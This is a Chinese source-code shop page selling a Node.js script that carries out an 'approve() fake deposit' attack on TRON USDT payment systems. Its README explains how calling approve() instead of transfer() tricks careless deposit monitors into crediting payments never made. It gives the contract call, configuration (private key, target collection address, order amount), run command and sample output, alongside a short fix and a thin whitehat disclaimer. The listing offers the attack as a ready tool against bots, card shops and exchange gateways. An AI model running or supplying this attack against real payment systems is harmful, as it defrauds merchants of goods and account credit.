USDT充值漏洞攻击 Node 源码|TRC20/ERC20 充值漏洞利用脚本全套源码

USDT充值漏洞攻击 Node 源码|TRC20/ERC20 充值漏洞利用脚本全套源码|狗凯源码仓库
USDT充值漏洞攻击 Node 源码|TRC20/ERC20 充值漏洞利用脚本全套源码
此内容为会员专属,请付费后查看
狗币30
限时分享
狗币499
赞助兑换
您当前未登录!建议登陆后赞助,可保存赞助订单
本站资源均为网友收集整理而来,仅供学习和研究使用。赞助不支持退款,谢谢合作!
客服85268832
会员专属
奇异互动云服务 零元购主机 壹软电竞护航陪玩系统 土豪打赏位
易支付官方 土豪打赏位 土豪打赏位 土豪打赏位
image

approve-attack-test — USDT 假充值攻击复现脚本

用于白帽子安全测试,验证 TRON 链 USDT 收款系统是否存在 approve() 假充值漏洞

USDT充值攻击脚本/充值漏洞攻击/node全源/USDT充值攻击脚本源码


一、这脚本是干什么的?

背景:一种常见的链上充值漏洞

很多 TRON 链上的收款系统(如 Telegram 机器人、自动发卡平台、交易所充值网关)通过监控链上交易来判断用户是否充值了 USDT。它们的逻辑通常类似:

交易来了 → 检查是不是 USDT 合约的交易 → 检查收款地址是不是自己 → 检查金额对不对 → 入账!

漏洞就在这里:TRON 链的 USDT(TRC-20 代币)合约有两种操作会触发链上交易:

操作方法是否发生代币转移
转账transfer(to, amount)✅ 是
授权approve(spender, amount)❌ 否

如果收款系统只检查了”有没有交易”和”金额对不对”,而没有检查交易类型(究竟是 transfer 还是 approve),攻击者就可以:

  1. 调用 approve(收款方地址, 金额) → 产生一笔链上交易,参数里包含收款方地址和金额
  2. 收款系统看到交易 → “嗯,地址对、金额对” → 误判为充值到账
  3. 攻击者实际上没有转任何 USDT,但系统却认为收到了钱

这就是所谓的 “approve 假充值攻击”

这个脚本的作用

这个脚本就是用来复现上述攻击的白帽子安全测试工具。运行它来验证你的收款系统是否已经修复了这个漏洞:

  • 漏洞未修复 → 你会在 Telegram 机器人/后台看到”充值到账”通知 ❌
  • 修复生效 → 没有任何误判通知 ✅

二、攻击原理图解

┌─────────────────────────────────────────────────────────────────┐
│                     正常充值流程                                  │
│                                                                 │
│   用户                    链上                    收款系统        │
│    │                      │                        │            │
│    │─ transfer(收款,100)──▶│                        │            │
│    │                      │── 区块确认 ────────────▶│            │
│    │                      │                        │            │
│    │                      │             检查到 transfer 事件     │
│    │                      │             金额 100 USDT ✅        │
│    │                      │             实际到账 100 USDT ✅    │
│    │                      │                        │            │
│    │                      │              ──▶ 充值成功           │
│                                                                 │
├─────────────────────────────────────────────────────────────────┤
│                     approve 攻击流程                              │
│                                                                 │
│   攻击者                  链上                    收款系统        │
│    │                      │                        │            │
│    │─ approve(收款,100)──▶│                        │            │
│    │                      │── 区块确认 ────────────▶│            │
│    │                      │                        │            │
│    │                      │             检查到交易 ✅            │
│    │                      │             金额 100 USDT ✅        │
│    │                      │             实际到账 0 USDT ❌      │
│    │                      │                        │            │
│    │                      │             如果没检查事件类型       │
│    │                      │             就会误判 ──▶ 充值成功! │
│    │                      │                        │            │
│    │  攻击者实际花了 0 USDT,只付了约 0.35 TRX 手续费            │
│    │  但系统以为收到了 100 USDT                                  │
└─────────────────────────────────────────────────────────────────┘

三、技术细节

涉及的合约

项目
TRON 主网
合约USDT (TRC-20)
合约地址TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
精度6 位小数(1 USDT = 1,000,000 sun)

脚本发起的交易

contract.approve(collectionAddress, amountSun).send({
    feeLimit: 100_000_000,    // 最大手续费 100 TRX(实际约 0.35 TRX)
    callValue: 0,             // 不附带任何 TRX 转账
    shouldPollResponse: false // 不等待确认,只广播
})

关键点:

  • 不调用 transfer,只调用 approve
  • callValue: 0 — 不转 TRX
  • 交易上链后会产生一条授权记录,但余额不发生任何变化

四、前置条件

在运行脚本前,你需要准备一个专用的测试钱包

要求说明
💰 TRX 余额至少 2 TRX(用于支付带宽费,实际消耗约 0.35 TRX)
⚡ 能量租赁约 35,000 energy(调用合约需要消耗能量)
💵 USDT 余额不需要持有任何 USDT
🔑 用途必须使用专用测试钱包,不要填主钱包私钥!

💡 能量可以通过 TRON 链的能量租赁平台租用,费用极低(通常不到 1 TRX)。


五、使用方法

第一步:安装依赖

cd approve-attack-test
npm install

会自动安装 tronweb(TRON SDK)和 dotenv(环境变量加载)。

第二步:配置 .env

编辑 .env 文件,填入三个必填参数:

# 测试钱包私钥(64位十六进制,不含 0x 前缀)
PRIVATE_KEY=abc123def456abc123def456abc123def456abc123def456abc123def456abc123

# 目标收款地址(你要测试的机器人/平台的收款地址)
COLLECTION_ADDRESS=TXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

# approve 金额(填机器人生成的订单金额,例如 10.06)
AMOUNT=10.06

# TronGrid API Key(可选,不填也能用,填了更稳定)
TRONGRID_API_KEY=你的key

第三步:运行脚本

node approve.js

第四步:观察结果

脚本会输出类似:

=======================================================
 USDT approve() 攻击复现测试
=======================================================
测试钱包地址   : TAbc123...
目标收款地址   : TXyz789...
approve 金额   : 10.06 USDT

测试钱包 TRX   : 5.230000 TRX
提示:能量由租赁提供,TRX 仅用于带宽费(约 0.35 TRX)
approve 金额   : 10060000 sun(10.06 USDT)

正在构造 approve 交易...
正在广播交易(approve)...

=======================================================
✅ approve 交易已广播
=======================================================
TX Hash        : a1b2c3d4e5f6...
TronScan       : https://tronscan.org/#/transaction/a1b2c3d4e5f6...

接下来的验证步骤:
  1. 等待约 30 秒(机器人 watcher 轮询间隔)
  2. 观察 Telegram 机器人是否发来"充值自动到账"通知
     修复生效 → 无任何通知 ✅
     漏洞仍存 → 收到入账通知 ❌
  3. 检查后台充值记录,看是否有对应 tx_hash 的入账

第五步:判断结果

现象结论
没有任何入账通知,后台无充值记录漏洞已修复,系统正确区分了 transfer 和 approve
Telegram/后台收到”充值到账”通知漏洞存在,系统未检查交易类型,需要立即修复

六、如何修复漏洞?

如果你的系统检测到漏洞存在,后端收款监控逻辑需要修改:

❌ 错误的检测逻辑:

if (tx.to == USDT_CONTRACT && tx.amount == expectedAmount) {
    // 入账!
}

✅ 正确的检测逻辑:

if (
    tx.to == USDT_CONTRACT
    && tx.method == "transfer"           // ← 必须检查方法名
    && tx.parameters.to == myAddress     // ← 检查 transfer 的收款方
    && tx.amount == expectedAmount
) {
    // 入账!
}

核心区别:必须检查交易调用的合约方法是 transfer 还是 approve,通过解析交易的 data 字段(ABI 解码)获取方法签名。transfer 的方法签名是 a9059cbbapprove095ea7b3


七、注意事项

⚠️ 警告说明
🔑 钱包安全必须使用专用测试钱包,不要填任何有资产的真实钱包私钥
🌐 主网操作本脚本直连 TRON 主网,每次运行消耗真实 TRX 手续费
⚡ 能量确保租了足够的能量(35,000),否则会额外消耗 TRX 付能量费
📝 日志保留保存 TX Hash 到 TronScan 查看完整交易记录
🔁 不可逆区块链交易一旦广播就无法撤回

八、项目结构

approve-attack-test/
├── approve.js          # 主脚本(117 行)
├── package.json        # 项目配置
├── package-lock.json   # 依赖锁文件
├── .env                # 配置文件(私钥、金额等)
└── node_modules/       # 依赖包

九、依赖

版本用途
tronweb^5.3.2TRON 区块链 JS SDK
dotenv^16.0.0加载 .env 环境变量

十、免责声明

本脚本仅供白帽子安全测试使用,用于验证自有系统的安全性。

  • 请在获得授权的系统上测试
  • 禁止用于任何非法或未经授权的攻击行为
  • 使用本脚本产生的一切后果由使用者自行承担

image

image

重要提示

如有解压密码: 看下载页、看下载页、看下载页。
源码工具资源类具有可复制性: 建议具有一定思考和动手能力的用户购买。
请谨慎考虑: 小白用户和缺乏思考动手能力者不建议赞助。
虚拟商品购买须知: 虚拟类商品,一经打赏赞助,不支持退款。请谅解,谢谢合作!
平台声明:该文观点仅代表网友本人,狗凯之家系信息发布平台,狗凯之家仅提供信息存储空间服务。

项目来源于网络,防止被割韭菜 !

本站初心:花着比韭菜更少的米,用着和韭菜一样的东西,仅学习其中的思路


良不良心自己体会,某些割韭菜的网站在这里我就不黑了,切记!

狗凯之家只做解密,项目里的联系方式仅为咨询用!收费一律删除~

狗凯之家官网:bygoukai.com如有解压密码看下载页说明

所有教程里所涉及的软件工具狗凯之家99%都有可以下载到免费的,除了一些定制类的软件没有。

文章版权声明 1、本网站名称:狗凯之家
2、本站永久网址:https://bbbb.bid
3、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
4、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6、本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
© 版权声明
THE END
喜欢就支持一下吧
分享
相关推荐
评论 抢沙发

请登录后发表评论

    暂无评论内容